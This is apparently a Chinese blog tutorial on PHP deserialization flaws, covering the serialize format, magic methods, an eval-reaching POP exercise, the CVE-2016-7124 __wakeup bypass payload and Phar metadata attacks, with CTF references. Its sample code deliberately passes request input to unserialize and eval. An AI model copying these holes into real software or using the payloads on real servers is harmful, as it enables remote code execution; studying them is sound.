反序列化从入门到入土

序列化的概念

官方话:将对象或数组转换为可存储的字符串

我的理解:游戏的存档

在PHP中我们会使用serialize()函数来序列化对象或数组,将其转换为可存储的字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 
// 定义一个类
class Test{
public $name = "monkey";
protected $age = 20;
private $a = false;
public function test(){
echo $this -> name;
}
}
// 实例化对象
$test = new Test();

// 序列化对象
$se = serialize($test);

// 返回序列化后的结果
var_dump($se);

返回的结果:

1
string(75) "O:4:"Test":3:{s:4:"name";s:6:"monkey";s:6:"\000*\000age";i:20;s:7:"\000Test\000a";b:0;}
  • O:4:"Test":3:O表示的是对象类型;4是对象名称的长度;Test是对象名;3表示该对象中的属性个数
  • s:4:"name";s:6:"monkey":前面的s表示变量名称是字符串类型;name是变量的名称;后面的s表示变量值是字符串类型;monkey表示变量值。
  • s:6:"\000*\000age";i:20:这里为什么是6呢?而且还多了两个\000,这是因为这里成员变量使用的是protected,protected属性序列化的时候格式是 %00%00成员名;后面的i表示的是整数型。
  • s:7:"\000Test\000a";b:0:成员变量使用的属性是private,private属性序列化的时候格式是%00类名%00成员名;b表示的布尔类型。
  • 这里只有属性,没有方法,这是因为序列化函数只对类的属性进行序列化,不对方法进行序列化。

反序列化的概念

官方话:将序列化后的字符串转换回对象或者数组。

我的理解:游戏的读档。

在PHP中我们使用unserialize()函数来将序列化后的字符串转换回PHP的值。

然后我们构造反序列化的代码

1
2
3
4
5
<?php
$a = 'O:4:"Test":3:{s:4:"name";s:6:"monkey";s:6:" * age";i:20;s:7:" Test a";b:0;}';
$b = unserialize($a);
print_r($b);
echo $b -> name;

img

这里并不是打印了类的对象和成员变量name的值,因为在反序列化的时候要保证有该类存在,因为序列化是不序列化方法的,所以反序列化的时候还要依靠该类进行。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class Test{
public $name = "monkey";
protected $age = 20;
private $a = false;
public function test(){
echo $this -> name;
}
}
$a = 'O:4:"Test":3:{s:4:"name";s:6:"monkey";s:6:" * age";i:20;s:7:" Test a";b:0;}';
$b = unserialize($a);
print_r($b);
echo $b -> name;

img

反序列化漏洞的产生

反序列化漏洞其实就是由于unserialize函数接收到了用户传入的恶意的序列化数据篡改了成员属性而导致的漏洞。

魔术方法

  • __construct(),类的构造函数
  • __destruct(),类的析构函数
  • __call(),在对象中调用一个不可访问方法时调用
  • __callStatic(),用静态方式中调用一个不可访问方法时调用
  • __get(),获得一个类的成员变量时调用
  • __set(),设置一个类的成员变量时调用
  • __isset(),当对不可访问属性调用isset()或empty()时调用
  • __unset(),当对不可访问属性调用unset()时被调用。
  • __sleep(),执行serialize()时,先会调用这个函数
  • __wakeup(),执行unserialize()时,先会调用这个函数
  • __toString(),类被当成字符串时的回应方法
  • __invoke(),调用函数的方式调用一个对象时的回应方法
  • __set_state(),调用var_export()导出类时,此静态方法会被调用。
  • __clone(),当对象复制完成时调用
  • __autoload(),尝试加载未定义的类
  • __debugInfo(),打印所需调试信息

魔术方法详解

__construct():该方法被称为构造方法。就是当一个对象被实例化的时候,首先会去执行的方法,但是在序列化和反序列化的时候是不会去触发的。

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
// 定义一个类
class Test{
public $name;
public function __construct($name) {
$this -> name = $name;
echo "__construct is OK";
}
}
$test = new Test('monkey');
$se = serialize($test);
unserialize($se);

img

__destruct():当某个对象的所有引用都被删除或者对象被销毁的时候执行的魔术方法。

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
// 定义一个类
class Test{
public $name;
public function __destruct() {
// TODO: Implement __destruct() method.
echo "__destruct is OK";
}
}
$test = new Test();
$se = serialize($test);
unserialize($se);

img

这里触发了两次是因为第一次实例化的时候会触发一次,另外一次就是反序列化后生成的对象触发的。

__call():在对象中调用不可访问方法时会调用__call()魔术方法。

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
// 定义一个类
class Test{
public $name;
// $arguments变量是一个数组
public function __call($name, $arguments) {
// TODO: Implement __call() method.
echo "$name,$arguments[0]";
}
}
$test = new Test();
$test -> test('123');

img

__callStatic():在静态上下文中调用一个不可访问方法时会被调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
// 定义一个类
class Test{
public $name;
// $arguments是一个数组
public static function __callStatic($name, $arguments) {
// TODO: Implement __callStatic() method.
echo "$name,$arguments[0]";
}
}
$test = new Test();
/* * 双冒号也叫范围解析操作符,可以用于访问静态成员、类常量,还可以用于覆盖类中的属性和方法。 */
$test::test("123");

img

__get():读取不可访问属性的值时调用。

1
2
3
4
5
6
7
8
9
10
11
<?php
// 定义一个类
class Test{
public $name;
public function __get($name) {
// TODO: Implement __get() method.
echo $name;
}
}
$test = new Test();
$test -> age;

img

__set():给不可访问的属性赋值时会调用。

1
2
3
4
5
6
7
8
9
10
11
<?php 
// 定义一个类
class Test{
public $name;
public function __set($name, $value) {
// TODO: Implement __set() method.
echo $name.",".$value;
}
}
$test = new Test();
$test -> age = 18;

img

__set和__get是不一样的,一个只是访问,一个是要进行赋值。

__isset():对不可访问属性(属性是private或者不存在)调用isset()或者empty()时调用。

1
2
3
4
5
6
7
8
9
10
11
<?php 
// 定义一个类
class Test{
public $name;
public function __isset($name) {
// TODO: Implement __isset() method.
echo $name;
}
}
$test = new Test();
isset($test -> age);

img

__unset():对不可访问的属性调用unset()时会调用。

1
2
3
4
5
6
7
8
9
10
11
<?php
// 定义一个类
class Test{
public $name;
public function __unset($name) {
// TODO: Implement __unset() method.
echo $name;
}
}
$test = new Test();
unset($test -> age);

img

__sleep():serialize()函数会检查是否存在__sleep()魔术方法,如果存在,该方法会先被调用,然后才执行序列化操作。此功能用于清理对象,并返回一个包含对象中所有被序列化的变量名称的数组。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
// 定义一个类
class Test{
const SITE = 'name';
public $name;
public $age;
public $pass;
public function __construct($name, $age, $pass) {
$this -> name = $name;
$this -> age = $age;
$this -> pass = $pass;
}
public function __sleep() {
// TODO: Implement __sleep() method.
// 返回需要序列化的变量名,过滤了pass变量
return array('name','age');
}
}
$test = new Test('monkey',18, 'pass');
echo serialize($test);

img

__wakeup():unserialize()函数会先检查是否存在__wakeup()魔术方法,存在则会先调用__wakeup()魔术方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
// 定义一个类
class Test{
const SITE = 'name';
public $name;
public $age;
public $pass;
public function __construct($name, $age, $pass) {
$this -> name = $name;
$this -> age = $age;
$this -> pass = $pass;
}
public function __wakeup() {
// TODO: Implement __wakeup() method.
$this -> pass = $this -> name;
}
}
$test = 'O:4:"Test":2:{s:4:"name";s:6:"monkey";s:3:"age";i:18;}';
var_dump(unserialize($test));

img

__toString():用于一个类被当做字符串时做出回应。

1
2
3
4
5
6
7
8
9
10
11
<?php 
// 定义一个类
class Test{
public $name;
public function __toString() {
// TODO: Implement __toString() method.
return '__toString is OK';
}
}
$test = new Test();
echo $test;

img

__toString()的触发方法:

  1. echo $obj/print($obj)时会触发
  2. 反序列化对象和字符串拼接的时候会触发
  3. 反序列化对象参与格式化字符串时触发
  4. 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
  5. 反序列化对象参与格式化SQL语句,绑定参数时(这个暂时还不太理解)
  6. 反序列化对象在经过php字符串处理函数触发
  7. 在in_array()方法中,第一个参数时反序列化对象,第二个参数的数组中有__toString()返回的字符串的时候__toString()会被调用
  8. 反序列化的对象作为class_exists()的参数的时候

__invoke():当对象被当成函数调用的时候,__invoke()会被触发(适用版本:PHP>5.1.0)

1
2
3
4
5
6
7
8
9
10
11
<?php 
// 定义一个类
class Test{
public $name;
public function __invoke() {
// TODO: Implement __invoke() method.
echo "__invoke is OK";
}
}
$test = new Test();
$test();

img

__clone():当使用clone关键字拷贝完成一个对象后,生成的新对象会自动调用__clone()。

1
2
3
4
5
6
7
8
9
10
11
<?php 
// 定义一个类
class Test{
public $name;
public function __clone() {
// TODO: Implement __clone() method.
echo "__clone is OK";
}
}
$test = new Test();
$newclass = clone $test;

img

反序列化小练习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php 
class Test{
public $name = 'monkey';
public $var1;
public function __construct() {
$this -> var1 = new Hello();
}
public function __destruct() {
$this -> var1 -> fun();
}
}
class Hello{
function fun(){
echo "Hello unserialize";
}
}
class Ev{
public $var2;
function fun(){
eval($this -> var2);
}
}
unserialize($_REQUEST['a']);

在这里,我们的目的是执行eval函数。所以我们要调用Ev类中的fun()函数,可以通过修改Test类中的var1的值来修改实例化对象。POC构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
class Test{
public $name = 'monkey';
public $var1;
public function __construct() {
$this -> var1 = new Ev();
}
}
class Ev{
public $var2 = 'phpinfo();';
}

$test = new Test();
echo serialize($test);

img

__wakeup绕过(CVE-2016-7124)

__wakeup绕过:当序列化字符串中的对象属性个数大于实际的属性个数时会跳过__wakeup()的执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php 
show_source(__FILE__);
echo phpversion();
class Test{
public $name;
public $test;
public function __destruct(){
if($this->name !== "admin"){
echo "hacker is No";
exit(0);
} else{
echo "</br>Welcome admin";
$this->getflag();
}
}
public function __wakeup(){
$this->name = "hacker";
} public function getflag(){
eval($this -> test);
}
}

unserialize($_GET['a']); ?>

我们要绕过检测,所以我们要将name的值赋予admin,test的值赋予我们想要的,这里以phpinfo为例

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Test{
public $name;
public $test;
public function __construct(){
$this -> name = "admin";
$this -> test = "phpinfo();";
}
}

$test = new Test();
echo serialize($test);

序列化的字符串为:O:4:”Test”:2:{s:4:”name”;s:5:”admin”;s:4:”test”;s:10:”phpinfo();”;}

img

但是这里会显示我们是hacker,所以这里就要使用到__wakeup的绕过了

新的payload:

1
O:4:"Test":3:{s:4:"name";s:5:"admin";s:4:"test";s:10:"phpinfo();";}

img

这里适用的版本:PHP5<=5.6.9或者PHP7<=7.0.9。

POP链的构造

POP链是什么?
称为面向属性编程,用于上层语言构造特定调用链的方法。

POP链是通过寻找程序中已经定义了或者能够动态加载的对象属性或函数方法,将一些可能的调用组合在一起形成一个完整的、有目的性的操作。

其他的不说了,直接上题目吧。链接:https://buuoj.cn/challenges#[MRCTF2020]Ezpop

题目WP链接:buuctf-web【MRCTF 2020】Ezpop

Phar反序列化攻击

什么是phar

有过Java开发经验的人一定知道Jar文件。一个应用,包括所有的可执行、可访问的文件,都打包进了一个JAR文件里,使得部署过程十分简单。

PHAR(“Php ARchive”)是PHP中类似于JAR的一种打包文件,在PHP>5.3,phar后缀文件是默认支持的。我们要开启phar,要在php.ini中将phar.readonly = 0

Phar的文件结构

PHAR的文件结构主要由四部分组成:

1.a stub

可以理解成一个标志(相当于文件头),格式为xxx<?php xxx; __HALT_COMPILER();?>,前面的内容不做限制,但是结尾必须是__HALT_COMPILER();?>,否则无法识别为phar文件。

2.a manifest describing the contents

因为phar本质上是一种压缩文件,每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是攻击最核心的地方。

img

3.the file contents

这是被压缩文件的内容。

4.[optional] a signature for verifying Phar integrity (phar file format only)

签名,会被放在文件的结尾。

img

Phar攻击的实现

demo测试

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("flag.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

?>

img

使用winhex打开phar.phar文件,发现meta-data是以序列化形式存储的

img

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化。

img

demo2测试

1
2
3
4
5
6
7
8
9
10
<?php 
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}
$filename = 'phar://phar.phar/flag.txt';
file_get_contents($filename);

?>

img

因为phar文件只对__HALT_COMPILER();?>这段代码有要求,所以我们可以将其伪造成一张图片或者其他形式进行利用。

题目:SWPUCTF 2018SimplePHP

题目wp:buuctf-web【SWPUCTF 2018】SimplePHP

参考文章:

持续更新中……

如果文章有何不妥之处,请您指出。